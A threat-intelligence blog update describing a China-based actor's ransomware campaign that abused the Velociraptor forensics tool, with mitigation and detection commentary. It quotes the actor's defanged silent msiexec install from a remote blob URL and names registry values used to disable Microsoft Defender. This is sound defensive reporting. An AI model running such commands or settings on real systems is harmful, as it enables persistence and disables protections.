---
title: "Threat Intel Content Update: 10/14/2025"
description: Tidal Cyber's Threat Intelligence Content updates for the week of 10/14/25 - Storm-2603 August 2025 Ransomware Campaign
---

[Threat Intelligence Content Updates ](https://www.tidalcyber.com/threat-updates)

# [Threat Intel Content Update: 10/14/2025](https://www.tidalcyber.com/threat-updates/threat-intel-content-update-10/14/2025)

 Written by [Tidal Cyber](https://www.tidalcyber.com/threat-updates/author/tidal-cyber) | Oct 14, 2025 4:58:07 PM

#### **Storm-2603 August 2025 Ransomware Campaign**

Threat Objects

Cisco Talos researchers recently [observed](https://blog.talosintelligence.com/velociraptor-leveraged-in-ransomware-attacks/) ransomware actors abusing Velociraptor, an open-source digital forensics and incident response, during a highly disruptive attack. We previously [spotlighted](https://www.tidalcyber.com/webinar/cti-ride-along-tracking-defending-top-ransomware-tools?hsLang=en) the trend of adversaries abusing freely available, legitimate utilities in their ongoing efforts to evade defenses and persist in victim environments.

We extracted rich, varied details from the report that would be most relevant to Threat-Led Defense, powering new content in our knowledge base, including a [Campaign](https://app.tidalcyber.com/campaigns/ebab01fe-7ae3-44f6-90d3-8c248e4d6861?tab=3), myriad new threat object & Technique relationships, and **10 discrete Procedure Sightings**. The activity is attributed to [Storm-2603](https://app.tidalcyber.com/groups/6338d74d-155f-4728-8171-b7148b88ec53?tab=4), a China-based threat actor that is now known to deploy at least three distinct families of ransomware and who drew attention this summer for its suspected ties to the [“ToolShell” exploit campaign](https://app.tidalcyber.com/campaigns/18f9141f-beab-4dbc-86d3-365a805cb472?tab=4).

#### **10/13/25: Storm-2603 August 2025 Ransomware Campaign – Spotlight Procedures**

- **PS1023232: Install Velociraptor via msiexec from Remote URL** 
    - The threat actor installed an outdated version of Velociraptor on multiple servers to maintain persistence. The installation was performed using the command: *msiexec** ** /q /i hxxps[:]//stoaccinfoniqaveeambkp.blob.core.windows[.]net/veeam/v2.msi*. Velociraptor was observed launching several times even after the host was isolated.

> **Threat-Led Defense commentary**: Recommended mitigations include restricting or monitoring msiexec.exe usage, especially with remote URLs; [disabling](https://msdn.microsoft.com/en-us/library/ms815199.aspx) or restricting Windows Installer; monitoring for suspicious process creation (e.g., msiexec.exe launched by LNK files or via GPO); and deploying network analytics (e.g., Suricata DNS rules for known malicious domains). Publicly available detection analytics have also been published relevant to this Sighting, e.g. [Sigma](https://app.tidalcyber.com/analytics/dfdb2279-966c-5724-8567-3b15545af772) or [Elastic](https://app.tidalcyber.com/capability/79292f7e-8e2f-54c1-ba9c-fe4be5005f07) rules.

- **PS1023173: Disable Microsoft Defender Protections via Group Policy** 
    - The actors disabled Microsoft Defender protections by modifying Group Policy to turn off real-time protection, disable behavior monitoring, and disable monitoring of file and program activity.

> **Threat-Led Defense commentary**: The report did not provide explicit commands or policies that were modified, but pivoting to this Sighting’s Procedure Cluster highlights previous cases where other ransomware actors (LockBit & Egregor) modified GPOs to set registry values like *DisableAntiSpyware* and *DisableRealtimeMonitoring*, disabling Windows Defender. This activity can be detected with Sigma analytics like [this](https://app.tidalcyber.com/analytics/b7be8025-4136-551e-a4b7-be0d07058d2b).

 

[View full post](https://www.tidalcyber.com/threat-updates/threat-intel-content-update-10/14/2025)

```json
{
  "@context" : "http://schema.org",
  "@type" : "BlogPosting",
  "author" : {
    "@type" : "Person",
    "name" : "Tidal Cyber"
  },
  "dateModified" : "2025-10-14T18:15:53.477Z",
  "datePublished" : "2025-10-14T16:58:07Z",
  "headline" : "Threat Intel Content Update: 10/14/2025",
  "image" : {
    "@type" : "ImageObject",
    "height" : 1667,
    "url" : "https://21164103.fs1.hubspotusercontent-na1.net/hubfs/21164103/Threat%20Intel%20Content%2010.14-1.jpg",
    "width" : 3000
  },
  "mainEntityOfPage" : "https://www.tidalcyber.com/threat-updates/threat-intel-content-update-10/14/2025",
  "publisher" : {
    "@type" : "Organization",
    "logo" : {
      "@type" : "ImageObject",
      "height" : 60,
      "url" : "/hs/hsstatic/content_shared_assets/static-1.4092/img/default-amp-logo.png",
      "width" : 60
    },
    "name" : "Threat Intelligence Content Updates"
  }
}
```